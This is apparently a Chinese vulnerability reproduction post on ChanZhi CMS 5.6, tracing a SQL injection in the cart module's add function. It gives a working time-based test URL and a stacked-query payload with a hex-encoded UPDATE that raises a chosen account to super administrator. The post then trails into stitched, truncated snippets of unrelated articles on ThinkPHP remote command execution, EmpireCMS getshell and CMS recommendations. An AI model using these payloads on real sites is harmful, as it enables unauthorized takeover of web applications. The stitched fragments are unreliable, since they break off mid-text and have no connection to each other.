[复现]蝉知cms 5.6 前台注入+getshell

https://share.weiyun.com/5cbff06337d32a9748d0f1bead5ddbd5

前台注入

在/chanzhieps/system/module/cart/control.php页面的add函数

public function add($product, $count)
    {
        if($this->app->user->account == ‘guest‘)
        {
            /* Save info to cookie if user is guest. */
            $this->cart->addInCookie($product, $count);
            $this->send(array(‘result‘ => ‘success‘, ‘message‘ => $this->lang->saveSuccess));
        }
        else
        {
            $result = $this->cart->add($product, $count);
            if($result) $this->send(array(‘result‘ => ‘success‘, ‘message‘ => $this->lang->saveSuccess));
            $this->send(array(‘result‘ => ‘fail‘, ‘message‘ => dao::getError()));
        }
}

public function add($product, $count) $count是用户输入
我们看会员登录以后的,也就是

$result = $this->cart->add($product, $count);
/chanzhieps/system/module/cart/model.php

public function add($productID, $count)
    {
        $hasProduct = $this->dao->select(‘count(id) as count‘)->from(TABLE_CART)->where(‘account‘)->eq($this->app->user->account)->andWhere(‘product‘)->eq($productID)->fetch(‘count‘);

        if(!$hasProduct)
        {
            $product = new stdclass();
            $product->product = $productID;
            $product->account = $this->app->user->account;
            $product->count   = $count;
            $this->dao->insert(TABLE_CART)->data($product)->exec();
        }
        else
        {
            $this->dao->update(TABLE_CART)->set("count= count + {$count}")->where(‘account‘)->eq($this->app->user->account)->andWhere(‘product‘)->eq($productID)->exec();
        }

        return !dao::isError();
}

如果能查到产品的话,更新数量set("count= count + {$count}")
继续跟进set函数
/chanzhieps/system/lib/base/dao/dao.class.php

public function set($set)
    {
        /* Add ` to avoid keywords of mysql. */
        if(strpos($set, ‘=‘) ===false)
        {
            $set = str_replace(‘,‘, ‘‘, $set);
            $set = ‘`‘ . str_replace(‘`‘, ‘‘, $set) . ‘`‘;
        }

        $this->sql .= $this->isFirstSet ? " $set" : ", $set";
        if($this->isFirstSet) $this->isFirstSet = false;
        return $this;
}

可以看到直接进入了$this->sql
测试一下

http://localhost/www/index.php/cart-add-1-(select%20sleep(10))

成功进行延时操作

这个cms用的是pdo的方式连接mysql。也就是说可以多语句执行

http://localhost/www/index.php/cart-add-1-1;set%[email protected]=0x757064617465206570735f75736572207365742061646d696e3d27737570657227207768657265206163636f756e743d276675636b796f75273b;prepare%20x%20from%[email protected];execute%20x;select%201%20union%20select%201

update一下 将低权限账户提升至super

进入后台

时间: 2024-10-06 12:49:10

[复现]蝉知cms 5.6 前台注入+getshell的相关文章

蝉知cms的一些调研(20200411前)

跟禅道项目管理.zdoo企业协同办公是一家的,如果以后能把这3者打通就完美了.目前问了对方说还没有 原来的mini版不做了, 个人觉得挺可惜:目前阿里云和华为云也有同等价格.功能差异没有大到没法接受的建站了,如果能尝试低价,应该还不错,毕竟我们小啊 号称开源版实际也做了加密.因为"有人总是不按规矩来,我们只好做了这个调整":没有在github和gitee上放 开源版升级还较频繁,稳定后会作为商业版走云建站 原文地址:https://www.cnblogs.com/webtiger/p/

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run the project 然后访问给出的target address1.执行系统命令显示目录下文件 http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_fun

帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行.EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/ 2.把下载的文件中的upload下的所

如何选择适合自己的CMS建站系统

在互联网发展突飞猛进的今天,可谓”得市场者得天下”,而电商已成为占据市场速度最快.范围最广的手段,进而网站建设也逐渐引起商家重视,并深入到了企业和个体的发展战略之中. 如今企业建站已不像过去那样开发维护成本高,因为网上针对企业建站的各种CMS建站系统层出不穷.像wordpress.DEDECMS.PHPCMS.蝉知CMS.帝国CMS.Discuz等,这些CMS系统本身各方面做的就参差不齐,于是乎小编经常在网上看见有人问及”哪个CMS系统最好用”.”企业建站用那个CMS系统最多”等类似问题,今天小

社工资源整理

CMS 1 Tncms 2 Discuz-6 3 phpvod 4 Website Creator 5 微信达微信数字投票管理系统 6 Stackla Social Hub 7 Banshee 8 mymps 9 Kolibri CMS 10 AnanyooCMS 11 ILAS网上图书馆 12 Destoon 13 Dokeos 14 RockRMS 15 Roxx-Auderis-CMS 16 BoyowCMS 17 ocPortal 18 1C-Bitrix 19 phpyun 20 Nu

推荐的五款市面上常用的免费CMS建站系统

我做设计也有不少年头了,很多客户或者朋友找我做网站的时候,一般问我的是用什么软件系统给他们做.大部分客户希望用的软件是免费的.所以今天给大家介绍五款我自己用过还不错的,重点是还免费的建站系统. MetInfo MetInfo这个系统是一个客户指定的,让我必须用这个系统给他做网站.于是我花了一些时间去了解这个系统.整个系统可操作性还是可以的. MetInfo的框架是基于PHP+Mysql开发的. 从界面上来说,界面简洁一目了然,比较符合现在的用户习惯,扁平化的设计还是比较吸引用户的.从功能上来说,

浅析白盒审计中的字符编码及SQL注入

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型.也有一些cms为了考虑老用户,所以出了gbk和utf-8两个版本. 我们就以gbk字符编码为示范,拉开帷幕.gbk是一种多字符编码,具体定义自行百度.但有一个地方尤其要注意: 通常来说,一个gbk编码汉字,占用2个字节.一个utf-8编码的汉字,占用3个字节.在php中

CI框架中的SQL注入隐患

 0x00 在CI框架中,获取get和post参数是使用了$this->input类中的get和post方法. 其中,如果get和post方法的第二个参数为true,则对输入的参数进行XSS过滤,注意只是XSS过滤,并不会对SQL注入进行有效的防范. 例子: Controller中,定义一个shit方法,获取get数据: 指定了第二个参数为true: (1)XSS测试 (2)SQL注入测试 并不会对单引号进行处理. 例子在程式舞曲CMS中,该CMS是基于CI框架进行开发的CMS: 这里的变量

易学堂在线学习系统 v3.1.0多处注入

前台注入 其实造成注入的原因是一样的 忘了过滤了 第一处 public function order(){ $state=I("get.state"); $user_id=sp_get_current_userid(); $where=empty($state)?array("user_id = $user_id"):array("user_id = $user_id and state=$state");//对传入的$state没有进行过滤 $